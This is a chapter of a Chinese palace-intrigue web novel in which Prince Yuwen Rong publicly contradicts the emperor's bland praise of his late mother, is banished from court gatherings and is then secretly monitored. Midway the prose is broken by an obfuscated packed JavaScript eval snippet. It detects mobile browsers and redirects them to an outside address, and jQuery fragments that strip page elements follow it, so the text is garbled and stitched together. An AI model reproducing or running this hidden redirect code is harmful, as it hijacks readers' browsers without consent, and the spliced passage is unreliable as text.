裂帛
东宫一片喜气。太子嫡女的周岁宴，虽非大操大办，但近支宗亲、皇帝与惠妃皆至，亦算得上宫中难得的温馨聚会。殿内暖融，乳母抱着裹在锦绣中的小郡主，接受众人的祝福与添盆之礼。梁帝端坐主位，看着孙辈，脸上带着难得的、属于祖父的松弛笑意。裕王、几位王爷及其家眷依次上前，说些吉祥话，放下金玉小巧的礼物。宇文戎坐在靠后的位置，一身合制式靛蓝亲王常服，衬得他面色愈发冷清，安静得几乎让人忽略。
轮到他时，他起身，从怀中取出一个素锦小包，并未上前，只由内侍转呈。小包里并非金玉，而是一柄镶嵌宝石、工艺精绝的微型袖珍匕首，另有一卷与之相配的、同样精巧的百工图谱。“愿小郡主，文武兼修，柔韧带刚，平安长乐。”他声音平静，并无多少起伏。递出时，右手几不可察地微顿，指尖力度显得有些凝涩。
太子刘成接过，眼中闪过一丝讶异，随即笑道：“戎儿这份礼，寓意深远，有心了。”上首的梁帝目光在那寒光隐现的匕首上掠过，眉梢几不可察地动了一下，面上笑意却未减，只温和道：“戎儿希冀侄女能文能武，是好的期许。”
礼毕，宴开。气氛渐渐活络。梁帝显然心情颇佳，多饮了几杯，看着殿中跑来跑去的几个年幼孙辈，忽生感慨，对身旁的惠妃和几位老王妃叹道：“时光荏苒。看见这些小娃娃，便想起他们父辈幼时。太子、戎儿他们像这般大时，也在这宫中嬉闹。”他目光悠远，仿佛穿过时光，“还有朕的皇姐……她若见着今日这般儿孙满堂的景象，不知该多欣慰。”
提及长公主，席间微微一静。
梁帝似乎未觉，继续道，语气温和，带着追忆：“皇姐啊，性情最是温婉贤淑，恪守孝悌之道。对母后至孝，对朕也是友爱照拂，从未有过疾言厉色之时。”他轻轻一叹，目光似有若无地扫过宇文戎，“性子柔静，不喜多事，真真是宫廷女子的典范。”
这番话，将长公主的一生，彻底框定在“温婉贤淑”、“孝悌友爱”、“柔静不喜事”的狭小范畴内，用最标准、最无害的宫廷贤妇形象，完全覆盖了她曾有过的任何政治身影与决断。
太子刘成离席躬身：“姑母贤德，儿臣等敬慕。”
众人纷纷颔首，裕王亦道：“皇姑母贞静娴雅，足为后世楷模。”
宇文戎一直垂眸看着杯中清酒，酒液微漾，映出他毫无波澜的眼。直到梁帝那句“柔静不喜事”落入耳中，他握杯的右手手指，几不可察地收紧，指节泛出青白色，旧伤处传来隐隐的钝痛。
就在一片称颂感念的气氛即将自然流转至下一话题时。
“陛下。”
声音不高，甚至有些轻，却像一块冰投入温水，让周遭的暖意骤然一凝。
宇文戎放下了酒杯。白玉杯底碰在紫檀案几上，一声脆响。
他缓缓站起身。动作并不快，却带着一种奇异的、不容打断的凝重。所有人的目光，不由自主地聚焦在他身上。
他抬眼，目光越过席间诸人，直直望向主位上的梁帝。那双眼睛黑沉沉的，没有泪光，没有怒火，只有一片近乎虚无的平静，平静之下，却是万丈冰渊。
“臣，有一事不明，想向陛下请教。”他开口，每个字都吐得清晰缓慢。
梁帝脸上的追忆之色未褪，眼神却已深敛，温声道：“戎儿何事不明？”
宇文戎的声音在寂静的殿中流淌，冰冷而平直：
“陛下忆及母妃‘温婉贤淑’、‘恪守孝悌’，母妃仁孝，确是如此。然，臣尝闻，永昌十年春，雍王谋反，金陵沦陷，是母妃奔走四方，终召勤王之师。永昌十一年，华太师独断专行，阻扰陛下亲政，京畿暗流汹涌。是母妃，夤夜密会时任京畿卫尉、羽林郎将等七人于府中，陈说利害，以定人心，稳住了京中最关键的防务，直至陛下顺利执掌。”
他略一停顿，殿内死寂。几位老王妃变了脸色，裕王惊疑不定，太子猛地看向宇文戎。
“永昌十七年春，”宇文戎继续，声音无波无澜，却像重锤敲在每个人心上，“江南三府盐税贪墨案发，牵连甚广，朝中无人敢彻查。是母妃，亲赴江宁，两月之内，密奏关键线索十七条，条条直指要害，为后来整顿盐政，铺平最险之路。每逢天灾，军需筹措，朝议难决之际，也是母妃私下奔走联络，安抚各方，筹措调停，方使朝纲不至倾颓？”
他看着梁帝，对方脸上的温和早已消失，取而代之的是一种深沉的平静。
“臣愚钝，”宇文戎的语气带上了一丝极淡的困惑，“不知‘召之师’‘夤夜密会武将’，算不算‘柔静不喜事’？亦不知，‘暗查钦案’、‘密奏线索’、‘奔走筹谋’，可否归为‘贞静娴雅’之余，顺手料理的‘不喜之事’？”
他微微偏头，目光纯净得刺眼：
“还是说，只因身为女子，这些功绩便该永远沉埋？连在宴席上，提一提、念一念她真正做过什么的资格都没有，只能任由她的一生，被简化为‘温婉’、‘贤淑’、‘孝悌’几个温吞的字眼？”
话音落尽，余音仿佛在温暖的殿中冻结成冰。
惠妃手中的茶盏轻轻晃了一下。一位老王妃以袖掩口，咳嗽起来。裕王脸色铁青，太子双拳紧握，置于膝上，指节发白。
梁帝沉默了许久。
殿内只有炭火偶尔的噼啪，和众人压抑的呼吸声。
终于，梁帝极缓、极缓地吐出一口气。他没有看宇文戎，目光落在自己指尖。
“看来，”他开口，声音不高，甚至比刚才更温和，却带着一种浸入骨髓的寒意，“是朕的不是。今日提起你母妃，原是想念她的好，却不想让你忧思过甚。”
他将宇文戎这番惊心动魄的质问，轻描淡写地归结为“忧思过甚”。
“你母妃确是极好的。”梁帝抬起眼，看向宇文戎，目光里只剩下帝王深潭般的审视，“只是你这般心绪激荡，言辞尖锐，于你身体无益。”
他顿了顿，语气转为一种不容置疑的关怀式决断：
“宴会喧闹，更不适合你。以后这般场合，便不必参加了。”
不是辩解，不是反驳，而是直接用“身体”和“不适合”为由，彻底剥夺其参与宫廷聚会、共享天伦的资格，一种温柔而冰冷的放逐。
宇文戎静静地听着，脸上没有任何情绪。他甚至极轻微地扯了一下嘴角。
“臣，”他躬身，声音平稳无波，右手在袖中微微蜷缩，“明白了。谨遵陛下旨意。”
他行完礼，直起身，目光最后一次掠过这满殿的锦绣繁华，掠过太子苍白紧绷的脸，掠过梁帝深不见底的眼。
然后，他转身，朝殿外走去。
梁帝看着他离去，脸上恢复了一片深沉的平静。
殿外，不知何时，下起了雨。那些被岁月尘封的往事，被刻意压低的哽咽，在雨中悄然汇聚，如同最终决堤的哀伤。
他没有加快脚步，只是慢慢走着。右手的旧伤在寒气中隐隐作痛，他却恍若未觉。
回到德泽殿，殿内空寂如墓。宫人屏息垂手，不敢靠近。他未换下那身被雨水打湿的常服，从室内取了剑，径直走向庭院。
他抽出软剑，剑刃出鞘的轻吟声格外清晰，寒光如电，照亮他眉宇间凝而未散的冷冽。
没有起势，没有停顿，剑锋已破开疾雨。
起初的招式尚算规整，是常见剑路，只是更快、更准、更厉。但十招过后，剑势陡然一变，不再拘泥于任何成法。劈、刺、撩、抹、点、崩……剑锋划破空气的锐响，脚步在积雪上腾挪转折，留下深深浅浅、杂乱无章的印痕。
他在舞，更在斩。斩向无形的屏障，斩向温情的罗网，斩向那些被精心粉饰、却冰冷蚀骨的“典范”与“期许”。每一剑都挟带着宴上未能出口的诘问，每一式都翻滚着血脉深处难以言说的郁结与悲怆。然而，舞至极处，剑势猛地一滞。
右腕旧伤处传来撕裂般的剧痛，那股支撑着凌厉剑招的气劲骤然溃散。剑尖沉重地垂落，他踉跄一步，以剑拄地，才勉强稳住身形。额际已有冷汗渗出，迅速在寒风中变得冰凉。胸口剧烈起伏，每一次呼吸都带着灼痛。
他维持着这个姿势，良久不动。只有紧握剑柄、指节发白的手，和微微颤抖的肩膀，泄露着方才那场无声风暴的余波。
最终，他缓缓直起身，低头看着手中的剑。剑身映出他模糊的面容，眼底是尚未平息的黑沉，以及一丝更深、更疲惫的空茫。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048619|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>缓缓走至庭院中央那株老梅树下，拂去石凳上的积雨，然后，坐下。
他就这样，在愈下愈急的雨中，背对殿宇，枯坐下去。
所有激烈，所有郁愤，所有不能言、不可说的块垒，仿佛都随着那场短暂而狂乱的剑舞被抽空。
宇文戎在雨中枯坐了近一个时辰。
更鼓声遥遥传来，在寂静的夜里格外清晰。他这才极慢、极缓地动了一下，然后，撑着冰冷的石凳，慢慢站起身。
腿脚已冻得麻木，起身时险些踉跄。他稳住身形，深深吸了一口寒气，转身，走回德泽殿。
殿内灯火通明，炭火无声燃烧，温暖扑面而来，却带着一股沉闷的、属于宫廷的、被精心控制过的暖意。新来的宫人屏息垂手，见他面色青白地进来，眼中掠过惊惧，却无人敢上前询问或搀扶。
殿外，骤雨未停。
紫宸殿内龙涎香悠悠地燃着，试图驱散秋夜特有的湿气。梁帝刘磬并未安寝，他披着一件玄色暗龙纹的常服，斜倚在临窗的暖榻上，慢慢翻看着奏折。
一内侍无声地进来，他手中并无通常的奏报匣子，只将一张素笺轻轻放在榻边的小几上。
梁帝的眼风扫过，并未立刻去取。“如何？”
“回陛下，”内侍的声音压得极低，确保只有榻上之人能听清，“公子回宫后在院内练剑。剑势…甚烈。据暗卫回禀，招招险绝，劲力含煞。”他略一停顿，“却不知为何在最猛烈处戛然而止。后在庭中枯坐近一个时辰。”
“枯坐？”梁帝的指尖在镇纸上摩挲了一下，“一句话也没说？”
“无声无息，如同冻凝。”
梁帝嘴角似乎动了一下，辨不出是嘲是叹。“剑术他是下了功夫的。”语气听不出喜怒，“只是这心性，还是没熬出来。”
“还有，”怀恩继续道，声音更低，“公子回到室内后，另取粗墨，书四字于纸。”他将那四个字清晰复述：“守界。砺锋。”
“守界…砺锋…”梁帝缓缓重复了一遍，每个字都念得清晰而缓慢。暖阁内一片寂静，只有滴滴答答的雨声。半晌，他轻轻嗤笑一声，将手中镇纸搁下，发出“嗒”的一声轻响。
“界？”他语调微扬，带着一丝不易察觉的冷意，“他的界，在何处？是锦州，还是这德泽殿？抑或是…对他母妃的念想？”他摇了摇头，似是怜悯，又似厌倦，“砺锋？在这四方宫墙之内，金玉锦绣之中，他能砺出什么锋？只怕越是打磨，越是折损。”
他站起身，踱到窗边，看着外面琉璃瓦上汇落的雨流，目光重新变得平静而深邃，那是属于帝王的、洞悉一切又掌控一切的眼神。“剑法再精，不过是匹夫之勇。心思再藏，终是小儿把戏。他不懂，在这宫里，真正的‘锋’，从来不在于剑刃是否锋利，字句是否峥嵘。”
梁帝走回榻边，随手将素笺凑近烛火，边缘迅速焦卷，化作一小团灰烬，落入一旁的玉盏中。
“既如此喜欢‘守界’、‘砺锋’，朕便成全他。”他声音平缓，却带着不容置疑的定夺，“传旨：靖王公子戎，孝思纯笃，勤勉自持，朕心甚慰。特赐公子戎御制《孝经》及《贞观政要》各一部，令其于德泽殿中专心研读抄录，每日晨时，呈递朕前。”
“奴才遵旨。”内侍深深躬身。
“还有，”梁帝睁开眼，目光如古井无波，“盯紧他每日的功课，字迹、语气、甚至用墨的浓淡，若有任何异样，”他语速放缓，每个字都重若千钧，“即刻来报。”
“是。”
“去吧。”梁帝挥挥手，重新阖上眼睑。
内侍悄无声息地退了出去，轻轻带上了暖阁的门。
梁帝独自坐在渐亮的晨光里，手指无意识地敲击着榻沿。守界。砺锋。
戎儿他以为守住点什么，磨利点什么，就能对抗这世间的洪流，对抗…皇权天威？
在这座宫殿里，从来只有一种“界”，那就是天子划下的界。也只有一种“锋”，那就是帝王所允许的、温顺而有益的“锋”。
其余的，皆是妄念。
雨终于停了。窗外的天光，亮了起来，驱散了最后一缕夜色。新的一天，照常降临在这重重宫阙之上，冰冷，规整，不容置疑。